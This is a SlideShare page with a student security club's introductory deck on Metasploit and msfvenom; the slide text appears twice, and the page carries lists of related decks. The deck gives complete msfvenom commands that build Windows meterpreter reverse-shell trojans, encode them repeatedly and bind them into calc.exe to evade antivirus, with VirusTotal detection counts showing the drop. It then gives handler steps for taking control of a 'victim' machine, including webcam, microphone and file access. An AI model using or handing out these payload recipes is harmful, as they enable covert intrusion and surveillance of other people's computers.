SlideShare a Scribd company logo
1 of 19
Siddharth.K
Dept of EEE BMS College of Engineering
Anonymous Club BMSCE
INTRODUCTION TO EXPLOITS IN
METASPLOIT AND PAYLOADS IN
MSFVENOM
What is Metasploit..?
The Metasploit Project is an open source project that
provides a public resource for researching security
vulnerabilities and developing code that allows a
network administrator to break into his own network to
identify security risks and document which
vulnerabilities need to be addressed first.
It is a collection of tools, which are used for
Information gathering, Scanning Network, Performing
Exploits, etc.
Rapid 7 is the company that maintains and provides
with updates for Metasploit.
An open source version of Metasploit comes inbuilt in
the Kali Linux Distribution known as the Metasploit
Framework.
Metasploitable is the Testing Environment provided by
Metasploit to test and run exploits and payloads.
General workflow of how to use Metasploit
Framework in Kali Linux Distribution
1. Run the command ‘service postgresql start’ from
your privileged command prompt, this starts up a
database to store metasploit exploits and this
makes the procedure run faster.
2. Type the command ‘msfconsole’ on the command
prompt to start up the Metasploit Framework.
3. Type the ‘?’ symbol to open up the help menu and
any point of time in the Framework
4. Searching Exploits -
Type in the command ‘show exploits’ from the
cmd, this gives a list of all the exploits present in the
Framework.
To filter results for any particular exploits, type
in ‘search’ and the exploit, e.g. ‘search windows’ this
returns all the windows exploits present in metasploit.
5. Gathering information on the exploit - Once the
exploit has been found, more information is needed.
This includes the parameters needed to run the exploit
and a general description of the exploit. This can be
done by typing ‘info <exploit name>’
6. Running the exploit - Once suitable information is
gathered, the exploit can be run by ‘use <exploit
name>’, inside the exploit the ‘show options’ command
can be used to check the parameters needed.
This is the general workflow or steps needed to be
followed to run any exploit in the Metasploit
Framework
General Tools used for Information Gathering
needed to run Metasploit Exploits
1. ‘whois’ - a query and response protocol that is
widely used for querying databases that store the
registered users or assignees of an Internet
resource, such as a domain name, an IP address
block, or an autonomous system, but is also used
for a wider range of other information.
1. ‘Nmap’ - Nmap is a security scanner, used to
discover hosts and services on a computer
network, thus building a "map" of the network.
Demo on 3 kinds of Exploits
What is MSFVENOM… ?
msfvenom is a combination of Msfpayload and
Msfencode, putting both of these tools into a single
Framework instance. msfvenom replaced both
msfpayload and msfencode as of June 8th, 2015.
The advantages of msfvenom are:
1. One single tool.
2. Standardized command line options.
Difference between Exploit and Payload
The exploit is what delivers the payload. Take a missile as an
analogy. You have the rocket and fuel and everything else in the
rocket, and then you have the warhead that does the actual
damage. Without the warhead, the missile doesn't do very much
when it hits. Additionally, a warhead isn't much use if it goes off in
your bunker without a rocket delivering it.
Ways of creating MSFVenom Trojans
Msfvenom -h to show the help menu with the tunable
parameters with their description
General Syntax to create Payloads -
Msfvenom -p <Payload> LHOST=<Local Host IP>
LPORT=<Local Port Number> -f <type of
excecutable> ><PATH>
Payload - windows/meterpreter/reverse_tcp, opens up a
reverse meterpreter session.
LPORT used - 443
1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip from
ifconfig> LPORT=443 -f exe >out1.exe
2. Using Encoders - To find encoders present in msfvenom, ‘msfvenom -l
encoders’
Encoder Used - x86/shikata_ga_nai
-i - Number of iterations to run the Encoding operation
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip from
ifconfig> LPORT=443 -e x86/shikata_ga_nai -i 200 -f exe >out2.exe
3. Using Template - Binding payload to a template file, template file
used
‘Calc.exe’ windows 10 exe.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip>
LPORT =
443 -f exe -x ./calc.exe >out3.exe
4. Using the -k [keep] parameter on carrier template and encoders -
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip>
LPORT =
443 -e x86/shikata_ga_nai -i 200 -k -f exe -x ./calc.exe >out4.exe
Testing the Trojans created
Pass the 4 trojans and test them on a Virus Scanner
tool, here i have used the VirusTool online Virus
Scanner.
www.virustotal.com
Upload the 4 Trojans and observe the results,
out3.exe and out4.exe have lesser chance of being
detected by the anti-viruses. These were just demos of
using templates to hide payloads into applications
1. Out1.exe - 48/56
2. Out2.exe - 42/56
3. Out3.exe - 34/56
4. Out4.exe - 29/56
Deploying payloads to Victim and getting
Reverse Shell connection and opening
Meterpreter Session in Metasploit
1. msfconsole
2. Use exploit/multi/handler
3. Set payload windows/meterpreter/reverse_tcp
4. Show options
5. Set LHOST
6. Set LPORT
7. Show options
8. exploit
Now we have a reverse connection and the
meterpreter session is open, now if we type the ‘help’
command, we’ll see the help menu and can execute
commands remotely on the Victim machine , like
control web_cam, record from mic,dump files,etc.
References
1. http://www.metasploit.com
2. https://www.offensive-security.com/metasploit-
unleashed/msfvenom/
3. The secret life of Trojans by Peter Zsiros
4. Metasploit - Bucky Roberts

More Related Content

What's hot

Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentTeymur Kheirkhabarov
 
Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Hossam .M Hamed
 
Metasploit seminar
Metasploit seminarMetasploit seminar
Metasploit seminarhenelpj
 
Catch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueWill Schroeder
 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides Amit Dubey
 
Automated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceAutomated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceJason Choi
 
CNIT 129S: 10: Attacking Back-End Components
CNIT 129S: 10: Attacking Back-End ComponentsCNIT 129S: 10: Attacking Back-End Components
CNIT 129S: 10: Attacking Back-End ComponentsSam Bowne
 
Client side attacks using PowerShell
Client side attacks using PowerShellClient side attacks using PowerShell
Client side attacks using PowerShellNikhil Mittal
 
Introduction To Exploitation & Metasploit
Introduction To Exploitation & MetasploitIntroduction To Exploitation & Metasploit
Introduction To Exploitation & MetasploitRaghav Bisht
 
Thick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfThick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfSouvikRoy114738
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration TestersNikhil Mittal
 

What's hot (20)

Metasploit
MetasploitMetasploit
Metasploit
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Metasploit seminar
Metasploit seminarMetasploit seminar
Metasploit seminar
 
Catch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs Blue
 
How fun of privilege escalation Red Pill2017
How fun of privilege escalation  Red Pill2017How fun of privilege escalation  Red Pill2017
How fun of privilege escalation Red Pill2017
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
malware analysis
malware  analysismalware  analysis
malware analysis
 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides
 
Automated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceAutomated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security Intelligence
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 
I hunt sys admins 2.0
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0
 
Linux systems - Linux Commands and Shell Scripting
Linux systems - Linux Commands and Shell ScriptingLinux systems - Linux Commands and Shell Scripting
Linux systems - Linux Commands and Shell Scripting
 
CNIT 129S: 10: Attacking Back-End Components
CNIT 129S: 10: Attacking Back-End ComponentsCNIT 129S: 10: Attacking Back-End Components
CNIT 129S: 10: Attacking Back-End Components
 
Windows PowerShell
Windows PowerShellWindows PowerShell
Windows PowerShell
 
Client side attacks using PowerShell
Client side attacks using PowerShellClient side attacks using PowerShell
Client side attacks using PowerShell
 
Introduction To Exploitation & Metasploit
Introduction To Exploitation & MetasploitIntroduction To Exploitation & Metasploit
Introduction To Exploitation & Metasploit
 
Thick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfThick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdf
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration Testers
 

Similar to Introduction to Exploits in Metasploit and Payloads in MSFVenOM

Penetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utilityPenetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utilityIOSR Journals
 
Metasploit - Basic and Android Demo
Metasploit  - Basic and Android DemoMetasploit  - Basic and Android Demo
Metasploit - Basic and Android DemoArpit Agarwal
 
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal PanchmahalkarPrajwal Panchmahalkar
 
Client side exploits
Client side exploitsClient side exploits
Client side exploitsnickyt8
 
Metasploit Computer security testing tool
Metasploit  Computer security testing toolMetasploit  Computer security testing tool
Metasploit Computer security testing toolmedoelkang600
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docxpauline234567
 
Metasploit (Module-1) - Getting Started With Metasploit
Metasploit (Module-1) - Getting Started With MetasploitMetasploit (Module-1) - Getting Started With Metasploit
Metasploit (Module-1) - Getting Started With MetasploitAnurag Srivastava
 
Exploit Frameworks
Exploit FrameworksExploit Frameworks
Exploit Frameworksphanleson
 
01 Metasploit kung fu introduction
01 Metasploit kung fu introduction01 Metasploit kung fu introduction
01 Metasploit kung fu introductionMostafa Abdel-sallam
 
Metasploit: Pwnage and Ponies
Metasploit: Pwnage and PoniesMetasploit: Pwnage and Ponies
Metasploit: Pwnage and PoniesTrowalts
 
24 33 -_metasploit
24 33 -_metasploit24 33 -_metasploit
24 33 -_metasploitwozgeass
 
Metasploit
MetasploitMetasploit
Metasploithenelpj
 
Syed Ubaid Ali Jafri - Black Box Penetration testing for Associates
Syed Ubaid Ali Jafri - Black Box Penetration testing for AssociatesSyed Ubaid Ali Jafri - Black Box Penetration testing for Associates
Syed Ubaid Ali Jafri - Black Box Penetration testing for AssociatesSyed Ubaid Ali Jafri
 
Lab-5 Scanning and Enumeration Reconnaissance and inform.docx
Lab-5 Scanning and Enumeration        Reconnaissance and inform.docxLab-5 Scanning and Enumeration        Reconnaissance and inform.docx
Lab-5 Scanning and Enumeration Reconnaissance and inform.docxLaticiaGrissomzz
 
Finalppt metasploit
Finalppt metasploitFinalppt metasploit
Finalppt metasploitdevilback
 

Similar to Introduction to Exploits in Metasploit and Payloads in MSFVenOM (20)

Backtrack Manual Part6
Backtrack Manual Part6Backtrack Manual Part6
Backtrack Manual Part6
 
Penetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utilityPenetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utility
 
Metasploit - Basic and Android Demo
Metasploit  - Basic and Android DemoMetasploit  - Basic and Android Demo
Metasploit - Basic and Android Demo
 
Wissbi osdc pdf
Wissbi osdc pdfWissbi osdc pdf
Wissbi osdc pdf
 
Metapwn
MetapwnMetapwn
Metapwn
 
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
 
Client side exploits
Client side exploitsClient side exploits
Client side exploits
 
Metasploit Computer security testing tool
Metasploit  Computer security testing toolMetasploit  Computer security testing tool
Metasploit Computer security testing tool
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
 
Metasploit (Module-1) - Getting Started With Metasploit
Metasploit (Module-1) - Getting Started With MetasploitMetasploit (Module-1) - Getting Started With Metasploit
Metasploit (Module-1) - Getting Started With Metasploit
 
Metasploit Humla for Beginner
Metasploit Humla for BeginnerMetasploit Humla for Beginner
Metasploit Humla for Beginner
 
Exploit Frameworks
Exploit FrameworksExploit Frameworks
Exploit Frameworks
 
01 Metasploit kung fu introduction
01 Metasploit kung fu introduction01 Metasploit kung fu introduction
01 Metasploit kung fu introduction
 
Metasploit: Pwnage and Ponies
Metasploit: Pwnage and PoniesMetasploit: Pwnage and Ponies
Metasploit: Pwnage and Ponies
 
24 33 -_metasploit
24 33 -_metasploit24 33 -_metasploit
24 33 -_metasploit
 
Metasploit
MetasploitMetasploit
Metasploit
 
Cheatsheet: Metasploit
Cheatsheet: MetasploitCheatsheet: Metasploit
Cheatsheet: Metasploit
 
Syed Ubaid Ali Jafri - Black Box Penetration testing for Associates
Syed Ubaid Ali Jafri - Black Box Penetration testing for AssociatesSyed Ubaid Ali Jafri - Black Box Penetration testing for Associates
Syed Ubaid Ali Jafri - Black Box Penetration testing for Associates
 
Lab-5 Scanning and Enumeration Reconnaissance and inform.docx
Lab-5 Scanning and Enumeration        Reconnaissance and inform.docxLab-5 Scanning and Enumeration        Reconnaissance and inform.docx
Lab-5 Scanning and Enumeration Reconnaissance and inform.docx
 
Finalppt metasploit
Finalppt metasploitFinalppt metasploit
Finalppt metasploit
 

Recently uploaded

Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Krashi Coaching
 
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions  for the students and aspirants of Chemistry12th.pptxOrganic Name Reactions  for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions for the students and aspirants of Chemistry12th.pptxVS Mahajan Coaching Centre
 
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTiammrhaywood
 
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111Sapana Sha
 
The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxheathfieldcps1
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdfSoniaTolstoy
 
Presiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha electionsPresiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha electionsanshu789521
 
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptxPOINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptxSayali Powar
 
Concept of Vouching. B.Com(Hons) /B.Compdf
Concept of Vouching. B.Com(Hons) /B.CompdfConcept of Vouching. B.Com(Hons) /B.Compdf
Concept of Vouching. B.Com(Hons) /B.CompdfUmakantAnnand
 
Crayon Activity Handout For the Crayon A
Crayon Activity Handout For the Crayon ACrayon Activity Handout For the Crayon A
Crayon Activity Handout For the Crayon AUnboundStockton
 
Contemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptx
Contemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptxContemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptx
Contemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptxRoyAbrique
 
Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)eniolaolutunde
 
Alper Gobel In Media Res Media Component
Alper Gobel In Media Res Media ComponentAlper Gobel In Media Res Media Component
Alper Gobel In Media Res Media ComponentInMediaRes1
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfsanyamsingh5019
 
Accessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactAccessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactdawncurless
 
How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17Celine George
 
A Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy ReformA Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy ReformChameera Dedduwage
 
Hybridoma Technology ( Production , Purification , and Application )
Hybridoma Technology  ( Production , Purification , and Application  ) Hybridoma Technology  ( Production , Purification , and Application  )
Hybridoma Technology ( Production , Purification , and Application ) Sakshi Ghasle
 

Recently uploaded (20)

Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
 
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions  for the students and aspirants of Chemistry12th.pptxOrganic Name Reactions  for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
 
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
 
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
 
The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptx
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
 
Presiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha electionsPresiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha elections
 
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptxPOINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
 
Concept of Vouching. B.Com(Hons) /B.Compdf
Concept of Vouching. B.Com(Hons) /B.CompdfConcept of Vouching. B.Com(Hons) /B.Compdf
Concept of Vouching. B.Com(Hons) /B.Compdf
 
Crayon Activity Handout For the Crayon A
Crayon Activity Handout For the Crayon ACrayon Activity Handout For the Crayon A
Crayon Activity Handout For the Crayon A
 
Contemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptx
Contemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptxContemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptx
Contemporary philippine arts from the regions_PPT_Module_12 [Autosaved] (1).pptx
 
Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)
 
9953330565 Low Rate Call Girls In Rohini Delhi NCR
9953330565 Low Rate Call Girls In Rohini  Delhi NCR9953330565 Low Rate Call Girls In Rohini  Delhi NCR
9953330565 Low Rate Call Girls In Rohini Delhi NCR
 
Alper Gobel In Media Res Media Component
Alper Gobel In Media Res Media ComponentAlper Gobel In Media Res Media Component
Alper Gobel In Media Res Media Component
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdf
 
Accessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactAccessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impact
 
How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17
 
A Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy ReformA Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy Reform
 
Hybridoma Technology ( Production , Purification , and Application )
Hybridoma Technology  ( Production , Purification , and Application  ) Hybridoma Technology  ( Production , Purification , and Application  )
Hybridoma Technology ( Production , Purification , and Application )
 
Model Call Girl in Bikash Puri Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in Bikash Puri  Delhi reach out to us at 🔝9953056974🔝Model Call Girl in Bikash Puri  Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in Bikash Puri Delhi reach out to us at 🔝9953056974🔝
 

Introduction to Exploits in Metasploit and Payloads in MSFVenOM

  • 1. Siddharth.K Dept of EEE BMS College of Engineering Anonymous Club BMSCE INTRODUCTION TO EXPLOITS IN METASPLOIT AND PAYLOADS IN MSFVENOM
  • 2. What is Metasploit..? The Metasploit Project is an open source project that provides a public resource for researching security vulnerabilities and developing code that allows a network administrator to break into his own network to identify security risks and document which vulnerabilities need to be addressed first. It is a collection of tools, which are used for Information gathering, Scanning Network, Performing Exploits, etc.
  • 3. Rapid 7 is the company that maintains and provides with updates for Metasploit. An open source version of Metasploit comes inbuilt in the Kali Linux Distribution known as the Metasploit Framework. Metasploitable is the Testing Environment provided by Metasploit to test and run exploits and payloads.
  • 4. General workflow of how to use Metasploit Framework in Kali Linux Distribution 1. Run the command ‘service postgresql start’ from your privileged command prompt, this starts up a database to store metasploit exploits and this makes the procedure run faster. 2. Type the command ‘msfconsole’ on the command prompt to start up the Metasploit Framework. 3. Type the ‘?’ symbol to open up the help menu and any point of time in the Framework
  • 5. 4. Searching Exploits - Type in the command ‘show exploits’ from the cmd, this gives a list of all the exploits present in the Framework. To filter results for any particular exploits, type in ‘search’ and the exploit, e.g. ‘search windows’ this returns all the windows exploits present in metasploit.
  • 6. 5. Gathering information on the exploit - Once the exploit has been found, more information is needed. This includes the parameters needed to run the exploit and a general description of the exploit. This can be done by typing ‘info <exploit name>’
  • 7. 6. Running the exploit - Once suitable information is gathered, the exploit can be run by ‘use <exploit name>’, inside the exploit the ‘show options’ command can be used to check the parameters needed. This is the general workflow or steps needed to be followed to run any exploit in the Metasploit Framework
  • 8. General Tools used for Information Gathering needed to run Metasploit Exploits 1. ‘whois’ - a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system, but is also used for a wider range of other information. 1. ‘Nmap’ - Nmap is a security scanner, used to discover hosts and services on a computer network, thus building a "map" of the network. Demo on 3 kinds of Exploits
  • 9. What is MSFVENOM… ? msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. msfvenom replaced both msfpayload and msfencode as of June 8th, 2015. The advantages of msfvenom are: 1. One single tool. 2. Standardized command line options.
  • 10. Difference between Exploit and Payload The exploit is what delivers the payload. Take a missile as an analogy. You have the rocket and fuel and everything else in the rocket, and then you have the warhead that does the actual damage. Without the warhead, the missile doesn't do very much when it hits. Additionally, a warhead isn't much use if it goes off in your bunker without a rocket delivering it.
  • 11.
  • 12. Ways of creating MSFVenom Trojans Msfvenom -h to show the help menu with the tunable parameters with their description General Syntax to create Payloads - Msfvenom -p <Payload> LHOST=<Local Host IP> LPORT=<Local Port Number> -f <type of excecutable> ><PATH> Payload - windows/meterpreter/reverse_tcp, opens up a reverse meterpreter session. LPORT used - 443
  • 13. 1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip from ifconfig> LPORT=443 -f exe >out1.exe 2. Using Encoders - To find encoders present in msfvenom, ‘msfvenom -l encoders’ Encoder Used - x86/shikata_ga_nai -i - Number of iterations to run the Encoding operation Msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip from ifconfig> LPORT=443 -e x86/shikata_ga_nai -i 200 -f exe >out2.exe 3. Using Template - Binding payload to a template file, template file used ‘Calc.exe’ windows 10 exe. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT = 443 -f exe -x ./calc.exe >out3.exe 4. Using the -k [keep] parameter on carrier template and encoders - msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT = 443 -e x86/shikata_ga_nai -i 200 -k -f exe -x ./calc.exe >out4.exe
  • 14. Testing the Trojans created Pass the 4 trojans and test them on a Virus Scanner tool, here i have used the VirusTool online Virus Scanner. www.virustotal.com Upload the 4 Trojans and observe the results, out3.exe and out4.exe have lesser chance of being detected by the anti-viruses. These were just demos of using templates to hide payloads into applications
  • 15. 1. Out1.exe - 48/56 2. Out2.exe - 42/56 3. Out3.exe - 34/56 4. Out4.exe - 29/56
  • 16. Deploying payloads to Victim and getting Reverse Shell connection and opening Meterpreter Session in Metasploit 1. msfconsole 2. Use exploit/multi/handler 3. Set payload windows/meterpreter/reverse_tcp 4. Show options 5. Set LHOST 6. Set LPORT 7. Show options 8. exploit
  • 17.
  • 18. Now we have a reverse connection and the meterpreter session is open, now if we type the ‘help’ command, we’ll see the help menu and can execute commands remotely on the Victim machine , like control web_cam, record from mic,dump files,etc.
  • 19. References 1. http://www.metasploit.com 2. https://www.offensive-security.com/metasploit- unleashed/msfvenom/ 3. The secret life of Trojans by Peter Zsiros 4. Metasploit - Bucky Roberts